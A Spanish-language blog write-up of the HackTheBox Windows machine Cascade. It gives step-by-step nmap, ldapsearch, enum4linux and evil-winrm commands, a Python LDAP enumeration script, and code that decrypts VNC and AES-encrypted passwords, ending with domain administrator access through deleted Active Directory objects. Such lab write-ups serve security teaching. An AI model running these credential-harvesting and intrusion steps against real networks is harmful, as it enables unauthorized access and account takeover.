Saltar al contenido
Volver al Blog

hackthebox · 5 min de lectura

WriteUp – Cascade (HackTheBox)

Write-up de Cascade (HackTheBox): máquina Windows media que explota LDAP para enumerar usuarios y atributos ocultos, obtiene credenciales de VNC en registro, revierte binario .NET para clave AES, y recupera contraseña de admin de objetos eliminados en Active Directory Recycle Bin.

· Manuel López Pérez · hackthebox

Write-up de Cascade (HackTheBox): máquina Windows media que explota LDAP para enumerar usuarios y atributos ocultos, obtiene credenciales de VNC en registro, revierte binario .NET para clave AES, y recupera contraseña de admin de objetos eliminados en Active Directory Recycle Bin.

En este post haremos la máquina Cascade de HackTheBox. Es una máquina Windows de nivel medio que me ha resultado bastante interesante. Tendremos que enumerar el directorio activo en busca de unas credenciales para poder acceder al SMB, descargar el fichero de contraseñas de VNC para escalar a un usuario intermedio, desensamblar un binario para acceder a otro usuario y finalmente explorar los objetos borrados del directorio activo para encontrar unas credenciales que permitan acceder al usuario administrador.

Mi nick en HackTheBox es: manulqwerty. Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de todos los puertos con nmap:

 nmap --min-rate 4500 --max-rtt-timeout 1500ms -p- 10.10.10.182

Una vez sabemos qué puertos están abiertos, procedemos a hacer un escaneo más completo con Nmap: versiones (-sV) y utilizando los scripts (-sC):

 nmap -sC -sV -p 53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49165 --min-rate 4500 --max-rtt-timeout 1500ms 10.10.10.182

Como veis, tiene abiertos los puertos típicos de un directorio activo en Windows. Además tiene abierto el puerto 5985 que puede servirnos para acceder via WinRM cuando tengamos unas credenciales.

El siguiente paso es enumerar el directorio activo con alguno de los siguientes comandos:

 enum4linux 10.10.10.182 ldapsearch -h 10.10.10.182 -p 389 -x -b "dc=cascade,dc=local" rpcclient -U "" 10.10.10.182

También podemos hacer las consultas LDAP a mano a con la biblioteca de Python LDAP3:

#!/usr/bin/env python3
import ldap3
import json
def find_user_entries(host, port,
ssl=False):
server = ldap3.Server(host,
get_info=ldap3.ALL,
port=port,
use_ssl=ssl)
connection = ldap3.Connection(server) connection.bind()
root_domain = server.info.__dict__['raw']['rootDomainNamingContext'][0].decode() connection.search(search_base=root_domain,
search_filter='(&(objectClass=person))',
search_scope='SUBTREE',
attributes='*')
return connection.entries
HOST = "cascade.local"
PORT = 389
entries = find_user_entries(HOST, PORT)
with open(HOST + ".json", "w") as f: json.dump([json.loads(e.entry_to_json())
for e in entries], f)

La ejecución de este código nos crea un fichero JSON con todos los objetos “person” del sistema.

 python3 ldap_enum.py

Revisando todos los atributos de cada usuario, encontramos que el usuario “Ryan Thompson” tiene un atributo “cascadeLegacyPwd” que parece ser una cadena de Base64:

 $ echo "clk0bjVldmE=" | base64 -d rY4n5eva

Ya hemos encontrado un usuario: r.thompson:rY4n5eva

Explotación

Ahora que tenemos unas credenciales, vamos a intentar conseguir una shell via WinRM con la herramienta Evil-Winrm:

Parece que este usuario no puede acceder por esta vía al sistema, vamos a enumerar de nuevo con enum4linux con las nuevas credenciales:

 enum4linux -u r.thompson -p rY4n5eva cascade.local

Tenemos permisos de lectura en DATA, vamos a probar a acceder vía SMB con SMBClient:

 ./smbclient.py r.thompson:rY4n5eva@cascade.local

Tras rebuscar y leer los ficheros que tenemos permisos, encontramos algo intersante en “IT/Temp/s.smith/VNC Install.reg”:

 get IT/Temp/s.smith/VNC Install.reg

En el fichero de instalación de VNC del usuario s.smith encontramos una posible contraseña cifrada “Password”=hex:6b,cf,2a,4b,6e,5a,ca,0f. Para descifrar la contraseña, utilizamos el siguiente repositorio: https://github.com/jeroennijhof/vncpwd Pero antes debemos guardar la contraseña cifrada (que inicialmente está en hexadecimal) en un fichero:

import binascii
with open("vnc_passwd", "wb") as f: f.write(binascii.unhexlify('6b,cf,2a,4b,6e,5a,ca,0f'.replace(",", "")))

Ahora ya tenemos la contraseña de s.smith: sT333ve2.

Vamos a probar estas credenciales con Evil-WinRM:

 evil-winrm -i cascade.local -u s.smith -p sT333ve2

Ya tenemos el flag de usuario, ahora tenemos que intentar escalar a algún otro usuario o al administrador. Enumeramos de nuevo con enum4linux a ver si podemos acceder a nuevos directorios:

 enum4linux -u s.smith -p sT333ve2 -S cascade.local

Gracias al comando anterior, vemos que podemos acceder al Share “Audit$”:

Descargamos todos los ficheros y abrimos los binarios (CascAudit.exe y CascCrypto.dll) con DnSpy o cualquier otro decompilador de .NET:

Si leemos el código, vemos que encripta con AES en modo CBC la contraseña (que está en la base de datos que también nos hemos descargado) con la clave “c4scadek3y654321”. Exploremos la base de datos SQLite3:

Con cualquier decrypter online de AES podemos obtener la contraseña del usuario ArkSvc:

O con python:

 from Crypto.Cipher import AES import base64

# https://stackoverflow.com/questions/12524994/encrypt-decrypt-using-pycrypto-aes-256

def _unpad(s): return s[:-ord(s[len(s)-1:])]

c = base64.b64decode(b"BQO5l5Kj9MdErXx6Q6AGOw==") iv = b"1tdyjCbY1Ix49842" key = b"c4scadek3y654321"

cipher = AES.new(key, AES.MODE_CBC, iv)

print(_unpad(cipher.decrypt(c)))

Accedemos con Evil-WinRM al servidor con las credenciales ArkSvc:w3lc0meFr31nd. Vamos a enumerar con este nuevo usuario, listamos los grupos a los que pertenece:

 Get-ADPrincipalGroupMembership ArkSvc | select name

A mí me sorprendió el grupo “AD Recycle Bin” ya que es el único distinto con respecto del usuario anterior (s.smith).

Tras investigar un poco sobre este grupo en Windows Server 2008 R2, vemos que se pueden listar y recuperar los objetos eliminados del directorio activo:

 Get-ADObject -f {(isDeleted -eq $true) -and (name -ne "Deleted Objects")} -includeDeletedObjects

Como veis, hay un usuario “TempAdmin” lo cual me llevó a un fichero que pude leer con el primer usuario (Data/IT/Email Archives/Meeting_Notes_June_2018.html):

perform all tasks related to the network migration and this account will be deleted at the end of 2018 once the migration is complete. This will allow us to identify actions related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password).

Así que si recuperamos la contraseña del usuario TempAdmin, podremos acceder como administrador al sistema:

 Get-ADObject -Filter {displayName -eq "TempAdmin"} -IncludeDeletedObjects -Properties *

Este objeto tiene el atributo “cascadeLegacyPwd” (como r.thompson) con su contraseña en Base64:

 $ echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d baCT3r1aN00dles

Ahora podemos acceder al sistema con administrador y leer la flag:

 evil-winrm -i cascade.local -u Administrator -p baCT3r1aN00dles

Volver al Blog

Posts Relacionados

Ver Todos los Posts »
Retos HackTheBox – Web: HDC

hackthebox · 4 min

Retos HackTheBox – Web: HDC

Primer reto web de la serie HackTheBox retirados. Aprendemos a bypassar un login hardcoded en JavaScript, descubrir un área secreta con una lista de emails y usar Intruder (ZAP o Burp) para encontrar la dirección especial que revela la flag.

· Manuel López Pérez

WriteUp – Bounty (HackTheBox)

hackthebox · 3 min

WriteUp – Bounty (HackTheBox)

Write-up de Bounty (HackTheBox). Máquina Windows fácil que explota una vulnerabilidad en IIS permitiendo subir un web.config malicioso para ejecutar código ASP y obtener RCE. Luego escalamos privilegios con Metasploit (MS10-092).

· Manuel López Pérez

WriteUp - Canape (HackTheBox)

hackthebox · 4 min

WriteUp - Canape (HackTheBox)

Write-up de Canape (HackTheBox). Máquina Linux intermedia que explota una deserialización insegura de pickle en un sitio Flask + CouchDB. Incluye RCE vía XXE-like en pickle, enumeración de CouchDB y escalada a root abusando de sudo pip install.

· Manuel López Pérez